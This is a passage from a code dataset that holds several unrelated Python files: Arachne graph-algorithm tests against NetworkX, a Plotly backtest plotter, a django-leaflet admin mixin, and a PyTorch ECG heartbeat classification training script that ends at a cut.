nx_di_graph_weighted\n\n def test_undirected_bfs_layers(self):\n \"\"\"Tests Arachne bfs_layers() and compares against NetworkX.\"\"\"\n # Read in graphs with Arachne and NetworkX.\n ar_graph, nx_graph,_,_ = self.build_undirected_graph()\n\n # Extract vertices to launch breadth-first search from each.\n vertices = ar_graph.nodes().to_list()\n\n ar_all_layers = []\n nx_all_layers = []\n for root in vertices:\n # Compute breadth-first search with Arachne.\n ar_layers = ar.bfs_layers(ar_graph, root).to_list()\n\n # Compute breadth-first search with NetworkX.\n nx_layer_dict = dict(enumerate(nx.bfs_layers(nx_graph, root)))\n nx_layers = [-1] * len(ar_layers)\n for layer,vertices_at_layer in nx_layer_dict.items():\n for vertex in vertices_at_layer:\n nx_layers[vertices.index(vertex)] = layer\n\n # Add both to corresponding layers tracker.\n ar_all_layers.append(ar_layers)\n nx_all_layers.append(nx_layers)\n\n return self.assertEqual(ar_all_layers, nx_all_layers)\n \n def test_directed_bfs_layers(self):\n \"\"\"Tests Arachne bfs_layers() and compares against NetworkX.\"\"\"\n # Read in graphs with Arachne and NetworkX.\n ar_graph, nx_graph,_,_ = self.build_directed_graph()\n\n # Extract vertices to launch breadth-first search from each.\n vertices = ar_graph.nodes().to_list()\n\n ar_all_layers = []\n nx_all_layers = []\n for root in vertices:\n # Compute breadth-first search with Arachne.\n ar_layers = ar.bfs_layers(ar_graph, root).to_list()\n\n # Compute breadth-first search with NetworkX.\n nx_layer_dict = dict(enumerate(nx.bfs_layers(nx_graph, root)))\n nx_layers = [-1] * len(ar_layers)\n for layer,vertices_at_layer in nx_layer_dict.items():\n for vertex in vertices_at_layer:\n nx_layers[vertices.index(vertex)] = layer\n\n # Add both to corresponding layers tracker.\n ar_all_layers.append(ar_layers)\n nx_all_layers.append(nx_layers)\n\n return self.assertEqual(ar_all_layers, nx_all_layers)\n\n def test_square_count(self):\n \"\"\"Tests Arachne squares() and compares it against base case.\"\"\"\n # Read in graph with Arachne.\n ar_graph,_,_,_ = self.build_undirected_graph()\n\n # Get the square count.\n sc = ar.squares(ar_graph)\n\n return self.assertEqual(2, sc)\n\n def test_triangles(self):\n \"\"\"Tests Arachne triangles() and compares it against NetworkX.\"\"\"\n # Read in the graph with Arachne and NetworkX.\n ar_graph, nx_graph,_,_ = self.build_undirected_graph()\n nodes = [0,2,3,4]\n\n # Get triangle counts with Arachne.\n ar_tri_full = ar.triangles(ar_graph)\n ar_tri_partial = ar.triangles(ar_graph, ak.array(nodes))\n\n # Get triangle counts with NetworkX.\n nx_tri_full = nx.triangles(nx_graph)\n nx_tri_partial = nx.triangles(nx_graph, nodes)\n\n ret = [nx_tri_partial[v] for v in nodes]\n self.assertEqual(ret, ar_tri_partial.to_list())\n self.assertEqual(sum(nx_tri_full.values())/3, ar_tri_full/3)\n return True\n\n # FUNCTIONS BELOW ARE CURRENTLY NOT WORKING AND HAVE TO BE FIXED.\n # def test_connected_components(self):\n # # Process graph with Arachne.\n # filepath,directed,weighted,only_extension = self.get_graph_file_and_attributes()\n # ar_graph = ar.read_edgelist(filepath, directed=directed, weighted=weighted, filetype=only_extension)\n # ar_cc = ar.connected_components(ar_graph)\n\n # # Process graph with NetworkX.\n # nx_file = open(filepath, \"rb\")\n # nx_graph = nx.from_scipy_sparse_array(sp.io.mmread(nx_file))\n # nx_cc = nx.connected_components(nx_graph)\n\n # return self.assertEqual(len(list(nx_cc)), len(ak.unique(ar_cc)))\n\n # def test_k_truss(self):\n # # Process graph with Arachne.\n # filepath,directed,weighted,only_extension = self.get_graph_file_and_attributes()\n # ar_graph = ar.read_edgelist(filepath, directed=directed, weighted=weighted, filetype=only_extension)\n # ar_truss = ar.k_truss(ar_graph, 4)\n # ar_max_k = ar.k_truss(ar_graph, -1)\n\n # # Process graph with NetworkX.\n # nx_file = open(filepath, \"rb\")\n # nx_graph = nx.from_scipy_sparse_array(sp.io.mmread(nx_file))\n # nx_truss = nx.k_truss(nx_graph, 4)\n\n # max_k = 5\n \n # num_e_ar = ak.value_counts(ar_truss)[1][0]\n # num_e_nx = nx_truss.size()\n \n # max_test = self.assertEqual(ar_max_k[0], max_k)\n # truss_test = self.assertEqual(num_e_ar, num_e_nx)\n\n # # NOTE: truss decomposition NOT pytested, it uses code for both k_truss and max_truss.\n # return self.assertEqual(max_test,truss_test)\n \n # def test_triangle_centrality(self):\n # # Process graph with Arachne.\n # graph = ar.Graph()\n # src = ak.array([1, 1, 3, 3, 4, 4, 4, 5, 2, 2, 5, 5, 6])\n # dst = ak.array([3, 4, 4, 7, 7, 5, 8, 8, 5, 6, 6, 9, 9])\n # graph.add_edges_from(src, dst)\n\n # ar_tri_ctr = ar.triangle_centrality(graph).to_list()\n # ar_tri_ctr_true = [0.4, 0.4, 0.4666666666666667, 0.7333333333333333, 0.7333333333333333, 0.4666666666666667, 0.4, 0.4666666666666667, 0.4]\n # print(ar_tri_ctr)\n\n # return self.assertEqual(ar_tri_ctr, ar_tri_ctr_true)\n\n\n\n","repo_name":"Bears-R-Us/arkouda-njit","sub_path":"arachne/test/algorithm_test.py","file_name":"algorithm_test.py","file_ext":"py","file_size_in_byte":7730,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"66"}
+{"seq_id":"38090342429","text":"import pandas as pd\r\nimport plotly.express as px\r\nimport plotly.graph_objects as go\r\nfrom plotly.subplots import make_subplots\r\n\r\ndf = pd.read_csv(\"backtestResult.csv\")\r\n\r\nfig = make_subplots(rows=3, cols=1, shared_xaxes=True)\r\n\r\nfig.add_trace(go.Scatter(x=df.index,y=df.trade,name='Trade',mode='lines+markers',connectgaps=True, line=dict(color='firebrick', width=1.5, dash='dot')),row=1,col=1)\r\nfig.add_trace(go.Scatter(x=df.index,y=df.enter,name='Enter price',mode='lines',connectgaps=True, line=dict(color='orange', width=1.5)),row=1,col=1)\r\nfig.add_trace(go.Scatter(x=df.index,y=df.price,name='Price',mode='lines',connectgaps=True, line=dict(color='grey', width=2)),row=1,col=1)\r\nfig.add_trace(go.Scatter(x=df.index,y=df.asset,name='Asset',mode='lines',connectgaps=True, line=dict(color='purple', width=2)),row=2,col=1)\r\nfig.add_trace(go.Scatter(x=df.index,y=df.currency,name='Currency',mode='lines',connectgaps=True, line=dict(color='green', width=2)),row=3,col=1)\r\nfig.add_trace(go.Scatter(x=df.index,y=df.equity,name='Equity',mode='lines',connectgaps=True, line=dict(color='grey', width=2)),row=3,col=1)\r\nfig.add_trace(go.Scatter(x=df.index,y=df.budgetextra,name='Budget Extra',mode='lines',connectgaps=True, line=dict(color='darkgreen', width=1.5)),row=3,col=1)\r\n\r\nfig.update_traces(hovertemplate='%{y}')\r\nfig.update_layout(title_text=\"Backtest\", hovermode='x unified')\r\n\r\nfig.write_html(\"plottedResults.html\")","repo_name":"McxCZE/PlotlyDemonstration","sub_path":"plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"17627149353","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.contrib.admin import ModelAdmin\nfrom django.core.exceptions import ImproperlyConfigured\n\ntry:\n from djgeojson.fields import GeoJSONField\nexcept ImportError:\n GeoJSONField = type(object)\ntry:\n from django.contrib.gis.db.models import GeometryField\nexcept (ImportError, ImproperlyConfigured):\n # When GEOS is not installed\n GeometryField = type(object)\n\nfrom .forms.widgets import LeafletWidget\n\n\nclass LeafletGeoAdminMixin(object):\n widget = LeafletWidget\n map_template = 'leaflet/admin/widget.html'\n modifiable = True\n map_width = '100%'\n map_height = '400px'\n display_raw = False\n settings_overrides = {}\n\n def formfield_for_dbfield(self, db_field, **kwargs):\n \"\"\"\n Overloaded from ModelAdmin to set Leaflet widget\n in form field init params.\n \"\"\"\n is_geometry = isinstance(db_field, (GeometryField, GeoJSONField))\n is_editable = is_geometry and (db_field.dim < 3 or\n self.widget.supports_3d)\n\n if is_editable:\n kwargs.pop('request', None) # unsupported for form field\n # Setting the widget with the newly defined widget.\n kwargs['widget'] = self._get_map_widget(db_field)\n return db_field.formfield(**kwargs)\n else:\n return super(LeafletGeoAdminMixin, self).formfield_for_dbfield(db_field, **kwargs)\n\n def _get_map_widget(self, db_field):\n \"\"\"\n Overriden LeafletWidget with LeafletGeoAdmin params.\n \"\"\"\n class LeafletMap(self.widget):\n template_name = self.map_template\n include_media = True\n geom_type = db_field.geom_type\n modifiable = self.modifiable\n map_width = self.map_width\n map_height = self.map_height\n display_raw = self.display_raw\n settings_overrides = self.settings_overrides\n return LeafletMap\n\n\nclass LeafletGeoAdmin(LeafletGeoAdminMixin, ModelAdmin):\n pass\n","repo_name":"Grace-Amondi/Django-rest-framework-geospatial-tutorial","sub_path":"geaopienv/lib/python3.5/site-packages/leaflet/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"66"}
+{"seq_id":"40487008833","text":"import os\nimport itertools\nimport time\nimport random\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport matplotlib.pyplot as plt\nimport matplotlib.colors as mcolors\nimport seaborn as sns\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.utils.data import Dataset, DataLoader\nfrom torch.optim import AdamW\nfrom torch.optim.lr_scheduler import (CosineAnnealingLR,\n CosineAnnealingWarmRestarts,\n StepLR,\n ExponentialLR)\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import precision_recall_curve\nfrom sklearn.metrics import classification_report, confusion_matrix\nfrom sklearn.metrics import accuracy_score, auc, f1_score, precision_score, recall_score\n\n\nclass Config:\n csv_path = ''\n seed = 2021\n device = 'cuda:0' if torch.cuda.is_available() else 'cpu'\n attn_state_path = 'input/mitbih-with-synthetic/attn.pth'\n lstm_state_path = 'input/mitbih-with-synthetic/lstm.pth'\n cnn_state_path = 'input/mitbih-with-synthetic/cnn.pth'\n\n attn_logs = 'input/mitbih-with-synthetic/attn.csv'\n lstm_logs = 'input/mitbih-with-synthetic/lstm.csv'\n cnn_logs = 'input/mitbih-with-synthetic/cnn.csv'\n\n train_csv_path = 'input/mitbih-with-synthetic/mitbih_with_syntetic_train.csv'\n test_csv_path = 'input/mitbih-with-synthetic/mitbih_with_syntetic_test.csv'\n\n\ndef seed_everything(seed: int):\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n if torch.cuda.is_available():\n torch.cuda.manual_seed(seed)\n\n\n\n# ## Dataset and DataLoader\n\n\nclass ECGDataset(Dataset):\n\n def __init__(self, df):\n self.df = df\n self.data_columns = self.df.columns[:-2].tolist()\n\n def __getitem__(self, idx):\n signal = self.df.loc[idx, self.data_columns].astype('float32')\n signal = torch.FloatTensor(np.array([signal.values]))\n target = torch.LongTensor(np.array(self.df.loc[idx, 'class']))\n return signal, target\n\n def __len__(self):\n return len(self.df)\n\ndef get_dataloader(phase: str, batch_size: int = 96) -> DataLoader:\n '''\n Dataset and DataLoader.\n Parameters:\n pahse: training or validation phase.\n batch_size: data per iteration.\n Returns:\n data generator\n '''\n df = pd.read_csv(config.train_csv_path)\n train_df, val_df = train_test_split(\n df, test_size=0.15, random_state=config.seed, stratify=df['label']\n )\n train_df, val_df = train_df.reset_index(drop=True), val_df.reset_index(drop=True)\n df = train_df if phase == 'train' else val_df\n dataset = ECGDataset(df)\n dataloader = DataLoader(dataset=dataset, batch_size=batch_size, num_workers=4)\n return dataloader\n\n\n# # Models\n\n\nclass Swish(nn.Module):\n def forward(self, x):\n return x * torch.sigmoid(x)\n\n\nclass ConvNormPool(nn.Module):\n \"\"\"Conv Skip-connection module\"\"\"\n\n def __init__(\n self,\n input_size,\n hidden_size,\n kernel_size,\n norm_type='bachnorm'\n ):\n super().__init__()\n\n self.kernel_size = kernel_size\n self.conv_1 = nn.Conv1d(\n in_channels=input_size,\n out_channels=hidden_size,\n kernel_size=kernel_size\n )\n self.conv_2 = nn.Conv1d(\n in_channels=hidden_size,\n out_channels=hidden_size,\n kernel_size=kernel_size\n )\n self.conv_3 = nn.Conv1d(\n in_channels=hidden_size,\n out_channels=hidden_size,\n kernel_size=kernel_size\n )\n self.swish_1 = Swish()\n self.swish_2 = Swish()\n self.swish_3 = Swish()\n if norm_type == 'group':\n self.normalization_1 = nn.GroupNorm(\n num_groups=8,\n num_channels=hidden_size\n )\n self.normalization_2 = nn.GroupNorm(\n num_groups=8,\n num_channels=hidden_size\n )\n self.normalization_3 = nn.GroupNorm(\n num_groups=8,\n num_channels=hidden_size\n )\n else:\n self.normalization_1 = nn.BatchNorm1d(num_features=hidden_size)\n self.normalization_2 = nn.BatchNorm1d(num_features=hidden_size)\n self.normalization_3 = nn.BatchNorm1d(num_features=hidden_size)\n\n self.pool = nn.MaxPool1d(kernel_size=2)\n\n def forward(self, input):\n conv1 = self.conv_1(input)\n x = self.normalization_1(conv1)\n x = self.swish_1(x)\n x = F.pad(x, pad=(self.kernel_size - 1, 0))\n\n x = self.conv_2(x)\n x = self.normalization_2(x)\n x = self.swish_2(x)\n x = F.pad(x, pad=(self.kernel_size - 1, 0))\n\n conv3 = self.conv_3(x)\n x = self.normalization_3(conv1 + conv3)\n x = self.swish_3(x)\n x = F.pad(x, pad=(self.kernel_size - 1, 0))\n\n x = self.pool(x)\n return x\n\n\nclass CNN(nn.Module):\n def __init__(\n self,\n input_size=1,\n hid_size=256,\n kernel_size=5,\n num_classes=5,\n ):\n super().__init__()\n\n self.conv1 = ConvNormPool(\n input_size=input_size,\n hidden_size=hid_size,\n kernel_size=kernel_size,\n )\n self.conv2 = ConvNormPool(\n input_size=hid_size,\n hidden_size=hid_size // 2,\n kernel_size=kernel_size,\n )\n self.conv3 = ConvNormPool(\n input_size=hid_size // 2,\n hidden_size=hid_size // 4,\n kernel_size=kernel_size,\n )\n self.avgpool = nn.AdaptiveAvgPool1d((1))\n self.fc = nn.Linear(in_features=hid_size // 4, out_features=num_classes)\n\n def forward(self, input):\n x = self.conv1(input)\n x = self.conv2(x)\n x = self.conv3(x)\n x = self.avgpool(x)\n # print(x.shape) # num_features * num_channels\n x = x.view(-1, x.size(1) * x.size(2))\n x = F.softmax(self.fc(x), dim=1)\n return x\n\n\nclass RNN(nn.Module):\n \"\"\"RNN module(cell type lstm or gru)\"\"\"\n\n def __init__(\n self,\n input_size,\n hid_size,\n num_rnn_layers=1,\n dropout_p=0.2,\n bidirectional=False,\n rnn_type='lstm',\n ):\n super().__init__()\n\n if rnn_type == 'lstm':\n self.rnn_layer = nn.LSTM(\n input_size=input_size,\n hidden_size=hid_size,\n num_layers=num_rnn_layers,\n dropout=dropout_p if num_rnn_layers > 1 else 0,\n bidirectional=bidirectional,\n batch_first=True,\n )\n\n else:\n self.rnn_layer = nn.GRU(\n input_size=input_size,\n hidden_size=hid_size,\n num_layers=num_rnn_layers,\n dropout=dropout_p if num_rnn_layers > 1 else 0,\n bidirectional=bidirectional,\n batch_first=True,\n )\n\n def forward(self, input):\n outputs, hidden_states = self.rnn_layer(input)\n return outputs, hidden_states\n\n\nclass RNNModel(nn.Module):\n def __init__(\n self,\n input_size,\n hid_size,\n rnn_type,\n bidirectional,\n n_classes=5,\n kernel_size=5,\n ):\n super().__init__()\n\n self.rnn_layer = RNN(\n input_size=46, # hid_size * 2 if bidirectional else hid_size,\n hid_size=hid_size,\n rnn_type=rnn_type,\n bidirectional=bidirectional\n )\n self.conv1 = ConvNormPool(\n input_size=input_size,\n hidden_size=hid_size,\n kernel_size=kernel_size,\n )\n self.conv2 = ConvNormPool(\n input_size=hid_size,\n hidden_size=hid_size,\n kernel_size=kernel_size,\n )\n self.avgpool = nn.AdaptiveAvgPool1d((1))\n self.fc = nn.Linear(in_features=hid_size, out_features=n_classes)\n\n def forward(self, input):\n x = self.conv1(input)\n x = self.conv2(x)\n x, _ = self.rnn_layer(x)\n x = self.avgpool(x)\n x = x.view(-1, x.size(1) * x.size(2))\n x = F.softmax(self.fc(x), dim=1) # .squeeze(1)\n return x\n\n\nclass RNNAttentionModel(nn.Module):\n def __init__(\n self,\n input_size,\n hid_size,\n rnn_type,\n bidirectional,\n n_classes=5,\n kernel_size=5,\n ):\n super().__init__()\n\n self.rnn_layer = RNN(\n input_size=46,\n hid_size=hid_size,\n rnn_type=rnn_type,\n bidirectional=bidirectional\n )\n self.conv1 = ConvNormPool(\n input_size=input_size,\n hidden_size=hid_size,\n kernel_size=kernel_size,\n )\n self.conv2 = ConvNormPool(\n input_size=hid_size,\n hidden_size=hid_size,\n kernel_size=kernel_size,\n )\n self.avgpool = nn.AdaptiveMaxPool1d((1))\n self.attn = nn.Linear(hid_size, hid_size, bias=False)\n self.fc = nn.Linear(in_features=hid_size, out_features=n_classes)\n\n def forward(self, input):\n x = self.conv1(input)\n x = self.conv2(x)\n x_out, hid_states = self.rnn_layer(x)\n x = torch.cat([hid_states[0], hid_states[1]], dim=0).transpose(0, 1)\n x_attn = torch.tanh(self.attn(x))\n x = x_attn.bmm(x_out)\n x = x.transpose(2, 1)\n x = self.avgpool(x)\n x = x.view(-1, x.size(1) * x.size(2))\n x = F.softmax(self.fc(x), dim=-1)\n return x\n\n\n# # Training Stage\n\nclass Meter:\n def __init__(self, n_classes=5):\n self.metrics = {}\n self.confusion = torch.zeros((n_classes, n_classes))\n\n def update(self, x, y, loss):\n x = np.argmax(x.detach().cpu().numpy(), axis=1)\n y = y.detach().cpu().numpy()\n self.metrics['loss'] += loss\n self.metrics['accuracy'] += accuracy_score(x, y)\n self.metrics['f1'] += f1_score(x, y, average='macro')\n self.metrics['precision'] += precision_score(x, y, average='macro', zero_division=1)\n self.metrics['recall'] += recall_score(x, y, average='macro', zero_division=1)\n\n self._compute_cm(x, y)\n\n def _compute_cm(self, x, y):\n for prob, target in zip(x, y):\n if prob == target:\n self.confusion[target][target] += 1\n else:\n self.confusion[target][prob] += 1\n\n def init_metrics(self):\n self.metrics['loss'] = 0\n self.metrics['accuracy'] = 0\n self.metrics['f1'] = 0\n self.metrics['precision'] = 0\n self.metrics['recall'] = 0\n\n def get_metrics(self):\n return self.metrics\n\n def get_confusion_matrix(self):\n return self.confusion\n\n\nclass Trainer:\n def __init__(self, net, lr, batch_size, num_epochs):\n self.net = net.to(config.device)\n self.num_epochs = num_epochs\n self.criterion = nn.CrossEntropyLoss()\n self.optimizer = AdamW(self.net.parameters(), lr=lr)\n self.scheduler = CosineAnnealingLR(self.optimizer, T_max=num_epochs, eta_min=5e-6)\n self.best_loss = float('inf')\n self.phases = ['train', 'val']\n self.dataloaders = {\n phase: get_dataloader(phase, batch_size) for phase in self.phases\n }\n self.train_df_logs = pd.DataFrame()\n self.val_df_logs = pd.DataFrame()\n\n def _train_epoch(self, phase):\n print(f\"{phase} mode | time: {time.strftime('%H:%M:%S')}\")\n\n self.net.train() if phase == 'train' else self.net.eval()\n meter = Meter()\n meter.init_metrics()\n\n for i, (data, target) in enumerate(self.dataloaders[phase]):\n data = data.to(config.device)\n target = target.to(config.device)\n\n output = self.net(data)\n loss = self.criterion(output, target)\n\n if phase == 'train':\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n meter.update(output, target, loss.item())\n\n metrics = meter.get_metrics()\n metrics = {k: v / i for k, v in metrics.items()}\n df_logs = pd.DataFrame([metrics])\n confusion_matrix = meter.get_confusion_matrix()\n\n if phase == 'train':\n self.train_df_logs = pd.concat([self.train_df_logs, df_logs], axis=0)\n else:\n self.val_df_logs = pd.concat([self.val_df_logs, df_logs], axis=0)\n\n # show logs\n print('{}: {}, {}: {}, {}: {}, {}: {}, {}: {}'\n .format(*(x for kv in metrics.items() for x in kv))\n )\n fig, ax = plt.subplots(figsize=(5, 5))\n cm_ = ax.imshow(confusion_matrix, cmap='hot')\n ax.set_title('Confusion matrix', fontsize=15)\n ax.set_xlabel('Actual', fontsize=13)\n ax.set_ylabel('Predicted', fontsize=13)\n plt.colorbar(cm_)\n plt.show()\n\n return loss\n\n def run(self):\n for epoch in range(self.num_epochs):\n self._train_epoch(phase='train')\n with torch.no_grad():\n val_loss = self._train_epoch(phase='val')\n self.scheduler.step()\n\n if val_loss < self.best_loss:\n self.best_loss = val_loss\n print('\\nNew checkpoint\\n')\n self.best_loss = val_loss\n torch.save(self.net.state_dict(), f\"best_model_epoc{epoch}.pth\")\n # clear_output()\n\n\ndef make_test_stage(dataloader, model, probs=False):\n cls_predictions = []\n cls_ground_truths = []\n\n for i, (data, cls_target) in enumerate(dataloader):\n with torch.no_grad():\n\n data = data.to(config.device)\n cls_target = cls_target.cpu()\n cls_prediction = model(data)\n\n if not probs:\n cls_prediction = torch.argmax(cls_prediction, dim=1)\n\n cls_predictions.append(cls_prediction.detach().cpu())\n cls_ground_truths.append(cls_target)\n\n predictions_cls = torch.cat(cls_predictions).numpy()\n ground_truths_cls = torch.cat(cls_ground_truths).numpy()\n return predictions_cls, ground_truths_cls\n\n\nif __name__=='__main__':\n config = Config()\n seed_everything(config.seed)\n\n df_ptbdb = pd.read_csv('input/heartbeat/ptbdb_abnormal.csv')\n df_mitbih = pd.read_csv('input/heartbeat/mitbih_train.csv')\n df_ptbdb\n\n df_mitbih_train = pd.read_csv('input/heartbeat/mitbih_train.csv', header=None)\n df_mitbih_test = pd.read_csv('input/heartbeat/mitbih_test.csv', header=None)\n df_mitbih = pd.concat([df_mitbih_train, df_mitbih_test], axis=0)\n df_mitbih.rename(columns={187: 'class'}, inplace=True)\n\n id_to_label = {\n 0: \"Normal\",\n 1: \"Artial Premature\",\n 2: \"Premature ventricular contraction\",\n 3: \"Fusion of ventricular and normal\",\n 4: \"Fusion of paced and normal\"\n }\n df_mitbih['label'] = df_mitbih.iloc[:, -1].map(id_to_label)\n print(df_mitbih.info())\n\n # In[ ]:\n\n df_mitbih.to_csv('data.csv', index=False)\n config.csv_path = 'data.csv'\n\n # # Basic EDA\n\n # In[ ]:\n\n df_mitbih = pd.read_csv(config.csv_path)\n df_mitbih['label'].value_counts()\n\n # In[ ]:\n\n percentages = [count / df_mitbih.shape[0] * 100 for count in df_mitbih['label'].value_counts()]\n\n fig, ax = plt.subplots(figsize=(12, 6))\n sns.countplot(\n x=df_mitbih['label'],\n ax=ax,\n palette=\"bright\",\n order=df_mitbih['label'].value_counts().index\n )\n ax.set_xticklabels(ax.get_xticklabels(), rotation=15);\n\n for percentage, count, p in zip(\n percentages,\n df_mitbih['label'].value_counts(sort=True).values,\n ax.patches):\n percentage = f'{np.round(percentage, 2)}%'\n x = p.get_x() + p.get_width() / 2 - 0.4\n y = p.get_y() + p.get_height()\n ax.annotate(str(percentage) + \" / \" + str(count), (x, y), fontsize=12, fontweight='bold')\n\n plt.savefig('data_dist.png', facecolor='w', edgecolor='w', format='png',\n transparent=False, bbox_inches='tight', pad_inches=0.1)\n plt.savefig('data_dist.svg', facecolor='w', edgecolor='w', format='svg',\n transparent=False, bbox_inches='tight', pad_inches=0.1)\n\n # I used the GAN from the notebook you can find [here](https://www.kaggle.com/polomarco/1d-gan-for-ecg-synthesis) or a repository with the code [here](https://github.com/mandrakedrink/ECG-Synthesis-and-Classification) to generate new synthetic data for classes with little data, now the dataset looks like this:\n\n # In[ ]:\n\n config.csv_path = 'input/mitbih-with-synthetic/mitbih_with_syntetic.csv'\n df_mitbih_new = pd.read_csv(config.csv_path)\n percentages1 = [count / df_mitbih.shape[0] * 100 for count in df_mitbih['label'].value_counts()]\n percentages2 = [count / df_mitbih_new.shape[0] * 100 for count in df_mitbih_new['label'].value_counts()]\n\n fig, axs = plt.subplots(1, 2, figsize=(18, 4))\n\n # origin\n sns.countplot(\n x=df_mitbih['label'],\n ax=axs[0],\n palette=\"bright\",\n order=df_mitbih['label'].value_counts().index\n )\n axs[0].set_xticklabels(axs[0].get_xticklabels(), rotation=15);\n axs[0].set_title(\"Before\", fontsize=15)\n\n for percentage, count, p in zip(\n percentages1,\n df_mitbih['label'].value_counts(sort=True).values,\n axs[0].patches):\n percentage = f'{np.round(percentage, 2)}%'\n x = p.get_x() + p.get_width() / 2 - 0.4\n y = p.get_y() + p.get_height()\n axs[0].annotate(str(percentage) + \" / \" + str(count), (x, y), fontsize=10, fontweight='bold')\n\n # with synthetic\n sns.countplot(\n x=df_mitbih_new['label'],\n ax=axs[1],\n palette=\"bright\",\n order=df_mitbih_new['label'].value_counts().index\n )\n axs[1].set_xticklabels(axs[1].get_xticklabels(), rotation=15);\n axs[1].set_title(\"After\", fontsize=15)\n\n for percentage, count, p in zip(\n percentages2,\n df_mitbih_new['label'].value_counts(sort=True).values,\n axs[1].patches):\n percentage = f'{np.round(percentage, 2)}%'\n x = p.get_x() + p.get_width() / 2 - 0.4\n y = p.get_y() + p.get_height()\n axs[1].annotate(str(percentage) + \" / \" + str(count), (x, y), fontsize=10, fontweight='bold')\n\n # plt.suptitle(\"Balanced Sampling between classes\", fontsize=20, weight=\"bold\", y=1.01)\n plt.savefig('data_dist.png', facecolor='w', edgecolor='w', format='png',\n transparent=False, bbox_inches='tight', pad_inches=0.1)\n plt.savefig('data_dist.svg', facecolor='w', edgecolor='w', format='svg',\n transparent=False, bbox_inches='tight', pad_inches=0.1)\n\n # In[ ]:\n\n N = 5\n samples = [df_mitbih.loc[df_mitbih['class'] == cls].sample(N) for cls in range(N)]\n titles = [id_to_label[cls] for cls in range(5)]\n\n with plt.style.context(\"seaborn-white\"):\n fig, axs = plt.subplots(3, 2, figsize=(20, 7))\n for i in range(5):\n ax = axs.flat[i]\n ax.plot(samples[i].values[:, :-2].transpose())\n ax.set_title(titles[i])\n # plt.ylabel(\"Amplitude\")\n\n plt.tight_layout()\n plt.suptitle(\"ECG Signals\", fontsize=20, y=1.05, weight=\"bold\")\n plt.savefig(f\"signals_per_class.svg\",\n format=\"svg\", bbox_inches='tight', pad_inches=0.2)\n\n plt.savefig(f\"signals_per_class.png\",\n format=\"png\", bbox_inches='tight', pad_inches=0.2)\n\n # get_ipython().run_cell_magic('time', '', \"signals = [' '.join(df_mitbih.iloc[i, :-1].apply(str).values) for i in range(df_mitbih.shape[0])]\\ny = df_mitbih.iloc[:, -1].values.tolist()\\nprint(len(signals), len(y))\\n\\nprint(f'data has {len(set([sig for line in signals for sig in line.split()]))} out of 16 372 411 unique values.')\")\n\n # Dataset and DataLoader\n x = torch.linspace(-10.0, 10.0, 100)\n swish = Swish()\n swish_out = swish(x)\n relu_out = torch.relu(x)\n\n plt.title('Swish function')\n plt.plot(x.numpy(), swish_out.numpy(), label='Swish')\n plt.plot(x.numpy(), relu_out.numpy(), label='ReLU')\n plt.legend();\n plt.show()\n\n # model = RNNAttentionModel(1, 64, 'lstm', False)\n # model = RNNModel(1, 64, 'lstm', True)\n model = CNN(num_classes=5, hid_size=128)\n #train model?\n trainer = Trainer(net=model, lr=1e-3, batch_size=96, num_epochs=10) # 100)\n trainer.run()\n\n train_logs = trainer.train_df_logs\n train_logs.columns = [\"train_\" + colname for colname in train_logs.columns]\n val_logs = trainer.val_df_logs\n val_logs.columns = [\"val_\" + colname for colname in val_logs.columns]\n\n logs = pd.concat([train_logs, val_logs], axis=1)\n logs.reset_index(drop=True, inplace=True)\n logs = logs.loc[:, [\n 'train_loss', 'val_loss',\n 'train_accuracy', 'val_accuracy',\n 'train_f1', 'val_f1',\n 'train_precision', 'val_precision',\n 'train_recall', 'val_recall']\n ]\n logs.head()\n logs.to_csv('cnn.csv', index=False)\n\n # # Experiments and Results\n\n cnn_model = CNN(num_classes=5, hid_size=128).to(config.device)\n cnn_model.load_state_dict(\n torch.load(config.cnn_state_path,\n map_location=config.device)\n );\n cnn_model.eval();\n logs = pd.read_csv(config.cnn_logs)\n\n colors = ['#C042FF', '#03C576FF', '#FF355A', '#03C5BF', '#96C503', '#C5035B']\n palettes = [sns.color_palette(colors, 2),\n sns.color_palette(colors, 4),\n sns.color_palette(colors[:2] + colors[-2:] + colors[2:-2], 6)]\n\n fig, ax = plt.subplots(1, 2, figsize=(12, 4))\n\n sns.lineplot(data=logs.iloc[:, :2], palette=palettes[0], markers=True, ax=ax[0], linewidth=2.5, )\n ax[0].set_title(\"Loss Function during Model Training\", fontsize=14)\n ax[0].set_xlabel(\"Epoch\", fontsize=14)\n\n sns.lineplot(data=logs.iloc[:, 2:6], palette=palettes[1], markers=True, ax=ax[1], linewidth=2.5, legend=\"full\")\n ax[1].set_title(\"Metrics during Model Training\", fontsize=15)\n ax[1].set_xlabel(\"Epoch\", fontsize=14)\n\n plt.suptitle('CNN Model', fontsize=18)\n\n plt.tight_layout()\n fig.savefig(\"cnn.png\", format=\"png\", pad_inches=0.2, transparent=False, bbox_inches='tight')\n fig.savefig(\"cnn.svg\", format=\"svg\", pad_inches=0.2, transparent=False, bbox_inches='tight')\n\n\n lstm_model = RNNModel(1, 64, 'lstm', True).to(config.device)\n lstm_model.load_state_dict(\n torch.load(config.lstm_state_path,\n map_location=config.device)\n );\n lstm_model.eval();\n logs = pd.read_csv(config.lstm_logs)\n\n colors = ['#C042FF', '#03C576FF', '#FF355A', '#03C5BF', '#96C503', '#C5035B']\n palettes = [sns.color_palette(colors, 2),\n sns.color_palette(colors, 4),\n sns.color_palette(colors[:2] + colors[-2:] + colors[2:-2], 6)]\n\n fig, ax = plt.subplots(1, 2, figsize=(12, 4))\n\n sns.lineplot(data=logs.iloc[:, :2], palette=palettes[0], markers=True, ax=ax[0], linewidth=2.5, )\n ax[0].set_title(\"Loss Function during Model Training\", fontsize=14)\n ax[0].set_xlabel(\"Epoch\", fontsize=14)\n\n sns.lineplot(data=logs.iloc[:, 2:6], palette=palettes[1], markers=True, ax=ax[1], linewidth=2.5, legend=\"full\")\n 